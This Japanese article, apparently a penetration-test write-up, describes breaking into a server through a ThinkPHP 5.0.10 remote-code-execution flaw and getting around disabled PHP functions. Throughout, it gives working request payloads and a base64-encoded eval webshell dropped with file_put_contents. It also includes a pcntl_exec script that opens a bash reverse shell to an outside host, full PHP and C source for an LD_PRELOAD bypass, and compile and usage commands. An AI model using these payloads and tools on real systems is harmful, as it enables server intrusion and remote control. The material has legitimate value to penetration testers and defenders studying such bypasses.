1. ホーム
  2. Web プログラミング
  3. PHP プログラミング
  4. phpの例

Thinkphpが無効化された機能をバイパスするプロジェクト

2022-01-14 05:48:34

前置き

侵入テストで、長い間手動で検索しても何も見つからなかったので、試すつもりでxrayを開きました。

予想通り、xrayは非常に強力で、ページを開くとすぐにthinkphp 5.0.10 rceの脆弱性をスキャンしてくれました。

直接ペイロードを実行するコマンドを使用した場合、システム機能が無効になっていることが報告されました。

s=whoami&_method=__construct&method=&filter[]=system


他の機能を適用して悪用しようとし、テストした結果、call_user_func関数が無効になっていないことが判明した
ペイロード

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func


どの機能が無効になっているか確認できます

assertとincludeが無効になっていないのを見て、最初はログにシェルを書き込んでからincludeファイルをexploitしに行こうとしたところ、何の反応もなく、エラーも報告されないことがわかりました。

ファイル_入力_内容

無効になっている関数に戻ると、file関数が無効になっておらず、file_put_contents関数を使ってファイルを書き込めることがわかりました
phpinfoファイルへの書き込みテスト

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))& amp;_method=__construct&filter=assert


書き込み成功

アイススコーピオンホースに書き込んでファイル管理中

ファイル操作はできるが、コマンドの実行はできない

pcntl_exec

もっと見落としがちなコマンド実行関数pcntl_execについて考えてみると、指定したファイルを実行するプログラムを指定するpcntl_exec関数が無効になっていないことに気づきました

まずexe.phpファイルを書き、その中にpcntl_execのパラメータを指定します(指定したファイルを実行するためのrunプログラムを実行します)。

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
? >


exec.shはバウンスコマンドを書き込んでいます。

bash -i >& /dev/tcp/vpsip/7777 0>&1


exe.phpへのブラウザアクセスは正常にシェルがバウンスされる

LD_PRELOAD ハイジャック

今回の侵入が終わり、ここで別の迂回方法を試みます。pcntl_exec機能も無効になっている場合に遭遇したら、環境変数LD_PRELOADを使ってシステム機能を乗っ取り、外部プログラムに悪意のある*.soをロードさせてシステムコマンドを実行する効果を実現することができます。原理の詳しい説明は、このお兄さんの記事 https://www.meetsec.cn/index.php/archives/44/ を参照してください。

この方法は、主に.cプログラムからコンパイルされた.phpと共有オブジェクトの.soファイルをサーバーにアップロードする必要があります

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/ www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2> &1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
? >



bypass_disablefunc.phpは、3つのパラメータを提供します。

  1. cmd パラメーター、実行されるシステムコマンド(例:whoami)。
  2. outpath パラメーター:コマンド実行の出力が保存されるファイルへのパス(例:/www/wwwroot/public)で、ページ上に簡単に表示することができます。また、このパラメータに関しては、ウェブに読み書き権限があるかどうか、ディレクトリを越えてアクセスできるかどうか、ファイルが上書きされ削除されるかどうか、といったポイントに注意する必要があります。
  3. sopath パラメータは、システム関数を乗っ取る共有オブジェクト (例: /www/wwwroot/bypass_disablefunc_x64.so) への絶対パスを指定します。このパラメータについても、ウェブがディレクトリを超えてアクセスできるかどうかに注意を払う必要があり、ウェブルートに同様に渡す方がよいでしょう。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}



ここで、gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so コマンドで、bypass_disablefunc.c を共有オブジェクト bypass_disablefunc_x64.so にコンパイルする必要があります。

ターゲット・アーキテクチャによって異なるバージョンにコンパイルするには、x64環境でコンパイルし、compileオプションがない場合はデフォルトでx64にし、x86アーキテクチャにコンパイルする場合は-m32オプションを追加してください。

上記の必要なファイルは、githubにあります。
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

ここでは、phpとsoのファイルは、前のファイル管理ice scorpionシェルを使用して、サーバーのWebディレクトリにアップロードされています。
ブラウザでbypass_disablefunc.phpにアクセスし、パラメータを渡します。

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_ disablefunc_x64.so


コマンドの実行に成功

概要

今回の記事は、あるプロジェクトでThinkphpが無効化された関数をバイパスすることについてです。Thinkphp bypassing disabled functionsについては、スクリプトハウスの過去記事を検索するか、以下の関連記事を引き続き閲覧してください。